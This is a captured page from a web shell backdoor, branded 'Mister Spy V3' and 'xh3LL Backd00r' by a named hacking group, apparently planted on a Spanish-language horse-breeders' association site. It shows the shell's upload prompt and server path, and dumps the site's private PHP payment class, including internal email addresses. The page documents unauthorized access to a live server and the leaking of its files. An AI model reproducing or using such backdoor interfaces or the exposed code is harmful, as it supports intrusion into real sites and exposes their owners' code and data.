Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.jinetepago.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.usuarios.php');
require_once('class.jinetes.php');
require_once('class.eventos.php');

class JinetePago
{
	public $IdJinetePago;
	public $IdJinete;
	public $Fecha;
	public $Total;
	public $IdFormaPago;
	public $IdEvento;
	public $FechaVencimientoPago;
	public $IdEstado;
	public $FechaAcreditacion;
	public $CodigoPago;
	public $IdUsuario;
	public $IdAdministrador;
	public $Anual;
	public $Semestral;
	public $SaldoAFavor;
	public $Anulado;

	public function __construct()
	{
		$this->IdJinetePago			= '';
		$this->IdJinete 			= '';
		$this->Fecha				= '';
		$this->Total				= 0;
		$this->IdFormaPago	 		= '';
		$this->IdEvento	 			= '';
		$this->FechaVencimientoPago	= '';
		$this->IdEstado 			= '';
		$this->FechaAcreditacion	= '';
		$this->CodigoPago			= '';
		$this->IdUsuario			= '';
		$this->IdAdministrador		= '';
		$this->Anual				= 0;
		$this->Semestral			= 0;
		$this->SaldoAFavor			= 0;
		$this->Anulado				= 0;
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdJinetePago	 		= $arr['IdJinetePago'];
		$this->IdJinete 	 		= $arr['IdJinete'];
		$this->Fecha				= $arr['Fecha'];
		$this->Total				= $arr['Total'];
		$this->IdFormaPago			= $arr['IdFormaPago'];
		$this->IdEvento				= $arr['IdEvento'];
		$this->FechaVencimientoPago	= $arr['FechaVencimientoPago'];
		$this->IdEstado 			= $arr['IdEstado'];
		$this->FechaAcreditacion	= $arr['FechaAcreditacion'];
		$this->CodigoPago			= $arr['CodigoPago'];
		$this->IdUsuario			= $arr['IdUsuario'];
		$this->IdAdministrador		= $arr['IdAdministrador'];
		$this->Anual				= $arr['Anual'];
		$this->Semestral			= $arr['Semestral'];
		$this->SaldoAFavor			= $arr['SaldoAFavor'];
		$this->Anulado				= $arr['Anulado'];
	}

	public function GetTipoPago() {
		return $this->Anual ? 'Anual' : ($this->Semestral ? 'Semestral' : 'Por evento');
	}

	public function MailConfirmacion() {

		$oUsuarios = new Usuarios();
		$oJinetes = new Jinetes();
    	$usuario = $oUsuarios->GetById($this->IdUsuario);
    	$jinete = $oJinetes->GetById($this->IdJinete);


		$Asunto = "NUEVO PAGO ACREDITADO - JINETE FEDERADO";

		$headers = "MIME-Version: 1.0\r\n";  
		$headers.= "Content-type: text/html; charset=iso-8859-1\r\n";  
		$headers.= "From: ACCC <ACCC>\r\n"; 

		$Mensaje = 'Se ha acreditado un nuevo pago:<br>';
		$Mensaje.= 'Jinete: ' . $jinete->Apellido . ', ' . $jinete->Nombre . '<br>';
		$Mensaje.= 'CUIT/CUIL: ' . $jinete->DocumentoNumero . '<br>';
		if ($this->IdEvento) {
			$oEventos = new Eventos();
			$evento = $oEventos->GetById($this->IdEvento);
			$Mensaje.= 'Tipo de pago: Por evento<br>';
			$Mensaje.= 'Evento: ' . $evento->Denominacion . '<br>';
		} else {
			$Mensaje.= 'Tipo de pago: ' . ($this->Anual ? 'Anual' : 'Semestral') . '<br>';
			$Mensaje.= 'Per&iacute;odo vigencia: Hasta ' . CambiarFecha($jinete->FechaVencimientoPago) . '<br>';
		}

		$Mensaje.= 'Muchas gracias por haber realizado el registro.<br><br>';
		$Mensaje.= 'Ante cualquier duda o problema &nbsp;env&iacute;e un correo electr&oacute;nico a <a href="mailto:inscripciones@caballoscriollos.com">inscripciones@caballoscriollos.com</a> &nbsp;o realice la misma telef&oacute;nicamente.';

		// mail('juan@crossingnet.com', $Asunto, $Mensaje, $headers);
		if ($usuario) {
			mail($usuario->Email1, $Asunto, $Mensaje, $headers);
		}
		mail('inscripciones@caballoscriollos.com', $Asunto, $Mensaje, $headers);
		mail('exposiciones@caballoscriollos.com', $Asunto, $Mensaje, $headers);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat